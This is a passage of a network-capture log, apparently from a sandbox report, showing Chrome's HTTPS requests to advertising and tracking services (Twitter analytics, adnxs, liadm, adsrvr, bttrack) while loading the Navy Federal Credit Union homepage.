2024-05-24 22:46:04 UTC	467	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 76 69 65 77 65 64 22 2c 22 73 69 74 65 5f 69 64 22 3a 22 6e 61 76 79 2d 66 65 64 65 72 61 6c 2d 63 72 65 64 69 74 2d 75 6e 69 6f 6e 22 2c 22 62 73 69 6e 22 3a 22 54 58 70 48 73 72 48 4e 36 34 66 74 69 42 4d 49 4e 67 33 54 48 48 57 75 76 37 65 31 34 47 52 6e 73 32 4d 58 56 45 4d 6e 77 6c 6e 49 73 4a 31 66 68 47 59 68 75 56 53 59 4f 41 6c 6d 6a 73 6a 72 41 55 2f 4e 56 75 35 6e 7a 66 41 6a 2f 2f 76 4b 6b 58 69 37 4b 51 3d 3d 22 2c 22 75 73 65 72 49 64 22 3a 22 54 58 70 48 73 72 48 4e 36 34 66 74 69 42 4d 49 4e 67 33 54 48 48 57 75 76 37 65 31 34 47 52 6e 73 32 4d 58 56 45 4d 6e 77 6c 6e 49 73 4a 31 66 68 47 59 68 75 56 53 59 4f 41 6c 6d 6a 73 6a 72 41 55 2f 4e 56 75 35 6e 7a 66 41 6a 2f 2f 76 4b 6b 58 69 37 4b 51 3d 3d 22 2c 22 73 Data Ascii: {"type":"viewed","site_id":"navy-federal-credit-union","bsin":"TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU/NVu5nzfAj//vKkXi7KQ==","userId":"TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU/NVu5nzfAj//vKkXi7KQ==","s
2024-05-24 22:46:04 UTC	308	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:04 GMT Content-Type: text/plain Content-Length: 2 Connection: close Server: nginx access-control-allow-origin: * access-control-allow-headers: X-Requested-With, Content-Type, Authorization, x-app-id access-control-allow-methods: GET, PUT, POST, DELETE
2024-05-24 22:46:04 UTC	2	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49947	107.21.124.38	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	688	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590763.1485915 HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:04 UTC	529	IN	HTTP/1.1 303 See Other Date: Fri, 24 May 2024 22:46:04 GMT Content-Length: 0 Connection: close Location: /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.1485915&_li_chk=true&previous_uuid=c6075f47d32b4d818231a2e2225587fd Set-Cookie: lidid=c6075f47-d32b-4d81-8231-a2e2225587fd; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49948	107.21.124.38	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	687	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590763.155465 HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:04 UTC	528	IN	HTTP/1.1 303 See Other Date: Fri, 24 May 2024 22:46:04 GMT Content-Length: 0 Connection: close Location: /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.155465&_li_chk=true&previous_uuid=70344332780144759af2802d8d6e72cf Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49949	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	816	OUT	GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2F&pf= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:04 UTC	1574	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://secure.adnxs.com/bounce?%2Fseg%3Ft%3D1%26add%3D37387871%26ver%3D9%26userid%3D357c28c3-9efd-4e35-8e20-288ff8da4a1a%253A1716590758.313698%26pe%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%26pf%3D AN-X-Request-Uuid: df02f1a2-4804-4187-af7a-125113b9ecaf Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:04 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:04 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:04 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49953	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	623	OUT	GET /ddm/fls/z/src=9749892;dc_pre=CLOv4POup4YDFUrHOwId8L0J4A;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:04 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:04 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:04 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49957	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	756	OUT	GET /i/adsct?bci=5&eci=2&event_id=7740c27a-cdee-4fdb-b183-ef4d6cfa7223&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_XXGBp5FEVOt4lj5n4pfxyg=="
2024-05-24 22:46:04 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:04 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 45b6d95fced84858 strict-transport-security: max-age=631138519 x-response-time: 82 x-connection-hash: b0f9ef17a2b96671204ac560193629835d62e1f1c7f6cf10e6e51da20b06c0bf connection: close
2024-05-24 22:46:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49955	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	967	OUT	GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRgFIAEoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdydWJpY29u
2024-05-24 22:46:04 UTC	601	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:04 GMT Content-Type: text/html Content-Length: 925 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:04 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIVCgZnb29nbGUSCwj6wu64qpP-PBAFEhcKCGFwcG5leHVzEgsIoOHuuKqT_jwQBRIWCgdibHVla2FpEgsI7IPvuKqT_jwQBRgFKAMyCwj2mfHlwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAQ..; expires=Sat, 24 May 2025 22:46:04 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:04 UTC	925	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49960	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	930	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=81e2e4c5-42ad-44dd-8617-cd81c22c011d&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_XXGBp5FEVOt4lj5n4pfxyg=="
2024-05-24 22:46:04 UTC	880	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:04 GMT perf: 7402827104 server: tsa_b set-cookie: guest_id_marketing=v1%3A171659076476233977; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: guest_id_ads=v1%3A171659076476233977; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: guest_id=v1%3A171659076476233977; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: a0e1531d778fccc3 strict-transport-security: max-age=631138519 x-response-time: 72 x-connection-hash: 60a924ad111da992ebe0b26116772ddd1398bfb1d62fbc997a97052626f9c2ef connection: close
2024-05-24 22:46:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49961	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	670	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=305f9585-fb97-4a3b-a503-f8815f3d752b&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:04 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:04 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 381d162536fe049c strict-transport-security: max-age=0 x-response-time: 78 x-connection-hash: 7c1720ab1bdddd4e11b2e435bcfc4f3efac521fd1a3917cfe5465c1c5a4f65b3 connection: close
2024-05-24 22:46:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49959	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	464	OUT	GET /engagement/getpixels?gid=15654 HTTP/1.1 Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:04 UTC	289	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/html Expires: -1 Access-Control-Allow-Origin: * X-ServerName: Track001-iad Date: Fri, 24 May 2024 22:45:35 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49958	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	1480	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22aafbf16b-f44b-4ef0-9b6d-fd431d3a508f%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A1%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmR_PKup4YDFT1vQQId598InA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6213689762165%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D893322139%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerp [TRUNCATED] Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:04 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:45:36 GMT; path=/; secure; SameSite=None X-ServerName: Track001-iad Date: Fri, 24 May 2024 22:45:35 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49966	107.21.124.38	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	798	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.1485915&_li_chk=true&previous_uuid=c6075f47d32b4d818231a2e2225587fd HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=c6075f47-d32b-4d81-8231-a2e2225587fd
2024-05-24 22:46:04 UTC	616	IN	HTTP/1.1 303 See Other Date: Fri, 24 May 2024 22:46:04 GMT Content-Length: 0 Connection: close Location: https://i6.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.1485915 Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:04 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=c6075f47-d32b-4d81-8231-a2e2225587fd; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:04 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 1 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49963	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:04 UTC	1111	OUT	GET /i/adsct?bci=5&eci=2&event_id=43adeeea-ec5c-4164-a084-520844475719&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: guest_id_marketing=v1%3A171659076399483003; guest_id_ads=v1%3A171659076399483003; personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id=v1%3A171659076399483003
2024-05-24 22:46:04 UTC	400	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:04 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 316b50196fa4a235 strict-transport-security: max-age=631138519 x-response-time: 6 x-connection-hash: 860fd6cd272e5ebb95d8b442a44f8c0d129a20b9dd50f30f0348d8f5925c38c5 connection: close
2024-05-24 22:46:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49964	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
